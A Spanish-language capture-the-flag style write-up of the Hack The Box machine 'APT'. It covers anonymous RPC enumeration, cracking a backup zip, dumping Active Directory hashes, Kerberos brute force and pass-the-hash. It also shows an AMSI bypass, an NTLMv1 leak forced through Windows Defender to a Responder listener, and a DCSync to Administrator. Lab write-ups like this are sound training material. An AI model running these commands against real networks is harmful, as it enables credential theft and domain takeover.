Write-Up APT
Autor: https://github.com/AndrewSthephen23
Write-Up APT
Enumeración
Resultados del escaneo de puertos:
En el puerto 80 hay un servicio HTTP activo, de hecho, si vas al navegador, aparece la siguiente web:
Se trata de Gigantic Hosting, un servicio de alojamiento ficticio. Explorando el sitio, no hay nada que pueda ser interesante.
En el puerto 135, sin embargo, RPC está activo. Por lo tanto, es posible intentar una enumeración con el rpcmap de Impacket (https://github.com/SecureAuthCorp/impacket/blob/master/examples/rpcmap.py), buscando qué métodos permiten el acceso anónimo:
python3 rpcmap.py 'ncacn_ip_tcp:10.10.10.213' -brute-opnums -auth-level 1 -opnum-max 5
Resulta que es posible iniciar sesión de forma anónima para Opnum 3 y 5:
Buscando el UUID mostrado arriba en Google, se puede proceder utilizando el siguiente script encontrado en la red: https://github.com/mubix/IOXIDResolver/blob/master/IOXIDResolver.py intentar una enumeración anónima de interfaces de red:
A continuación se obtuvo la dirección ipv6 de la máquina. Añadiendo la siguiente línea a los hosts (nano /etc/hosts) se puede obtener más información ahora, a través de otro escaneo de puertos (nmap con la opción -6).
dead:beef::b885:d62a:d679:573f apt.htb
Abre el puerto 445, por lo tanto puede conectarse con smbclient:
Dentro del share backup, hay un zip (accedemos con la opción -N que por comodidad no pide la contraseña cada vez):
Con el comando
get backup.zip
descargamos el archivo localmente para analizarlo.
Si probamos el comando unzip, veremos inmediatamente que el archivo está protegido con una contraseña, por lo que podemos intentar crackearla (usando fcrackzip con la famosa lista de palabras “rockyou”):
fcrackzip -D -p /usr/share/wordlists/rockyou.txt backup.zip
Ahora siempre con unzip, podemos extraer el contenido:
unzip -P iloveyousomuch backup.zip
Hay dos carpetas ActiveDirectory y registry. Esta es la base de datos NTDS, así que podemos extraer los hashes con Impacket secretsdump:
python3 secretsdump.py local -system registry/SYSTEM -security registry/SECURITY -ntds Active\ Directory/ntds.dit -outputfile hashes
Como salida sale una larga lista de usuarios.
Vamos a imprimirlos en una lista para luego poder hacer bruteforce, mediante alguna herramienta. Usamos awk para formatear los 2000 usuarios encontrados y escribirlos en un fichero users.txt:
cat hashes.ntds | awk -F":" '{print $1}' > usuarios.txt
Una vez obtenida la lista, puedes intentar un ataque de fuerza bruta con kerbrute(https://github.com/TarlogicSecurity/kerbrute):
kerbrute -dc-ip apt.htb -dominio htb.local -users users.txt -outputfile validusernames.txt
Los usuarios válidos dentro del Directorio Activo son, por tanto, Administrador, APT y henry.vinson.
La herramienta utilizada anteriormente no proporciona hashes como entrada, por lo que debemos utilizar pyKerbrute(https://github.com/3gstudent/pyKerbrute).
Modificando el script python para que sea capaz de tomar una lista de hashes como entrada, obtenemos el hash válido, que es:
e53d87d42adaa3ca32bdb34a876cbffb
A pesar de esto, con evil-winrm no es posible obtener una sesión:
evil-winrm -i apt.htb -u henry.vinson -H e53d87d42adaa3ca32bdb34a876cbffb
Sin embargo, teniendo disponible en el zip inicial, también el registro, es posible utilizar reg.py (también por Impacket) hacia el registro remoto:
python3 reg.py -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson@apt.htb query -keyName HKU\\\Software
Si utilizamos el mismo comando para entrar en GiganticHost … obtenemos una contraseña asociada al usuario henry.vinson_adm:
Explotacion
Ahora podemos volver a intentar entrar con evil-winrm y obtenemos la shell del usuario:
evil-winrm -i apt.htb -u henry.vinson_adm -p "G1#Ny5@2dvht"
Para continuar con la enumeración, descarga Winpeas en la máquina víctima y ejecútalo con:
Invoke-Binary winpeas.exe
Desafortunadamente es detectado como virus por el sistema, así que intentemos parchearlo con:
Bypass-4MSI
Volvemos a ejecutar el comando y esta vez winpeas se inicia correctamente.
Con winpeas no se encuentra nada relevante, así que intentemos ejecutarlo todo de nuevo, esta vez con Seatbelt. Y con este último, destaca el texto, bajo NTLMSettings:
En este repositorio:
https://github.com/Gl3bGl4z/All_NTLM_leakse listantodos losservicios que pueden dar lugar a una fuga de respuestas NTLM a la versión 1 (más vulnerable que la 2), incluido Windows Defender.
Empecemos escuchando al respondedor(https://github.com/SpiderLabs/Responder) ya preinstalado en Kali. Antes de ejecutarlo, sin embargo, escribimos la cadena en la configuración del respondedor (/etc/responder/Responder.conf):
Desafío = 1122334455667788
y luego arrancamos:
responder -I tun0 --lm
Mientras tanto en la shell evil-winrm ejecutamos:
& "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2102.4- 0\MpCmdRun.exe" -Scan -ScanType 3 -File \ipaddress\share\file.txt
Se ha obtenido el hash. Usamos crack.sh para crackearlo (en formato NTASH soportado):NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384
Tras unos segundos, la respuesta llega inmediatamente:
Por lo tanto, la clave es:
d167c3238864b12f5f82feae86a7f798
Ahora que tenemos el hash NT del dominio, con el secretsdump de Impacket obtenemos el hash para entrar como Administrador en el sistema:
python3 secretsdump.py ‘htb.local/APT$@apt.htb’ -hashes :d167c3238864b12f5f82feae86a7f798 -just-dc-user administrador
Con evil-winrm finalmente obtenemos el shell:
evil-winrm -u administrador -i apt.htb -H c370bddf384a691d811ff3495e8a72e2